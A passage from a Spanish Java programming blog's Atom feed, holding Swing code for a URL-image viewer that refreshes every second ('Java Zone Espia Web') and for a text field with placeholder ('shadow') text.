/&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;panelPrincipal.add(pc);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;Thread t=new Thread(pc);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;t.start();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(panelPrincipal);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public static void main(String arg[]){&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Principal p=new Principal();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setBounds(0, 0, 500, 250);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setLocationRelativeTo(null);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setDefaultCloseOperation(EXIT_ON_CLOSE);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setTitle("Java Zone Espia Web");&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase PanelCamara&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.Graphics;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.Image;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.net.MalformedURLException;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.net.URL;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.ImageIcon;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.JPanel;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class PanelCamara extends JPanel implements Runnable{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;String url="";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Image img;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public PanelCamara(String url){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;this.url=url;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;img=new ImageIcon(new URL(url)).getImage();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (MalformedURLException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void paintComponent(Graphics g){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;super.paintComponents(g);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;g.drawImage(img, 0, 0, 150, 100, this);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void run() {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;while(true){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;img.flush();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;img=new ImageIcon(new URL(url)).getImage();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;repaint();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;Thread.sleep(1000);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (InterruptedException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;// TODO Auto-generated catch block&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (MalformedURLException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;// TODO Auto-generated catch block&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Descargar&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El proyecto completo lo pueden descargar desde&amp;nbsp;&lt;a href="http://dl.dropbox.com/u/61822104/Proyectos%20Java%20Zone/JavaZoneEspiaWeb.rar"&gt;aquí&lt;/a&gt;, se incluyen los archivos fuentes,&amp;nbsp;imágenes&amp;nbsp;y el Jar ejecutable.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-191676917727329220?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/191676917727329220/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/02/java-zone-espia-web-primera-entrega.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/191676917727329220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/191676917727329220'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/02/java-zone-espia-web-primera-entrega.html' title='Java Zone Espia Web, Primera Entrega'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-3NGZhc2CRtQ/T0mzkdHEqWI/AAAAAAAAAkw/c5a0XYB7kgg/s72-c/JavaZoneEspiaWeb+1+-+Java+Zone.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-1643803075571682443</id><published>2012-02-26T00:23:00.001-05:00</published><updated>2012-02-26T13:59:45.007-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='texto sombra'/><category scheme='http://www.blogger.com/atom/ns#' term='JTextSombra'/><title type='text'>Texto Sombra Versión 2</title><content type='html'>&lt;span style="font-size: large;"&gt;&lt;b&gt;Texto Sombra&amp;nbsp;Versión&amp;nbsp;2&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ya hace mucho tiempo, vimos como hacer para incrustar estos textos descriptivos en los campos de escritura. pues mejoramos un poco esos&amp;nbsp;cimientos.&amp;nbsp;Entre los cambios esta que el texto desaparece es cuando escribes y no con el foco del textField. Se&amp;nbsp;sobrescribieron&amp;nbsp;los&amp;nbsp;métodos getText() y setText() asi se pueden aprovechar los keyboards que se encuentran en entradas anteriores.&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Imágenes&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-PUess02SPOQ/T0nBDIG5XGI/AAAAAAAAAk4/oM5oJo7IwIs/s1600/JTextSombra2+1+-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-PUess02SPOQ/T0nBDIG5XGI/AAAAAAAAAk4/oM5oJo7IwIs/s1600/JTextSombra2+1+-+Java+Zone.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-5xHASqOa7vA/T0nBDi4FadI/AAAAAAAAAlA/YbjNcWUKyN4/s1600/JTextSombra2+2+-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-5xHASqOa7vA/T0nBDi4FadI/AAAAAAAAAlA/YbjNcWUKyN4/s1600/JTextSombra2+2+-+Java+Zone.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Código&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase Princiap&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.FlowLayout;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.event.ActionEvent;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.event.ActionListener;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JButton;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JFrame;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Principal extends JFrame{&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setLayout(new FlowLayout());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;final JTextObject text = new JTextObject("Escribe aquí", 20);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(text);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JButton btn = new JButton("teclado");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;btn.addActionListener(new ActionListener() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void actionPerformed(ActionEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;new JKeyBoard(text);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}); add(btn);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setBounds(0,0,300,150);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setDefaultCloseOperation(EXIT_ON_CLOSE);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setLocationRelativeTo(null);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public static void main(String arg[]){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;new Principal();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;div style="font-size: x-large;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Clase JTextObject&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class JTextObject extends javax.swing.JTextField {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private boolean esSombra = true;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private String sombra;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public JTextObject(String texto, int columnas) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;sombra = texto;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;this.setText(texto);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;this.setColumns(columnas);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;this.setForeground(java.awt.Color.LIGHT_GRAY);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;this.addFocusListener(new java.awt.event.FocusListener() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void focusGained(java.awt.event.FocusEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (JTextObject.this.getText().equalsIgnoreCase(sombra)) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;JTextObject.this.setCaretPosition(0);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void focusLost(java.awt.event.FocusEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (JTextObject.this.getText().equalsIgnoreCase("")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;esSombra = true;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JTextObject.this.setText(sombra);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;JTextObject.this.setForeground(java.awt.Color.LIGHT_GRAY);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;this.addKeyListener(new java.awt.event.KeyAdapter(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void keyPressed(java.awt.event.KeyEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (esSombra) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;esSombra = false;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JTextObject.this.setText("");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;JTextObject.this.setForeground(java.awt.Color.BLACK);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;this.addMouseListener(new java.awt.event.MouseAdapter() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void mouseClicked(java.awt.event.MouseEvent arg0) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (esSombra) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;JTextObject.this.setCaretPosition(0);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void setText(String arg0) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if(esSombra &amp;amp;&amp;amp; !arg0.equalsIgnoreCase(sombra)) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;esSombra = false;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;JTextObject.this.setForeground(java.awt.Color.BLACK);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;super.setText(arg0);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public String getText() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if(esSombra) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" 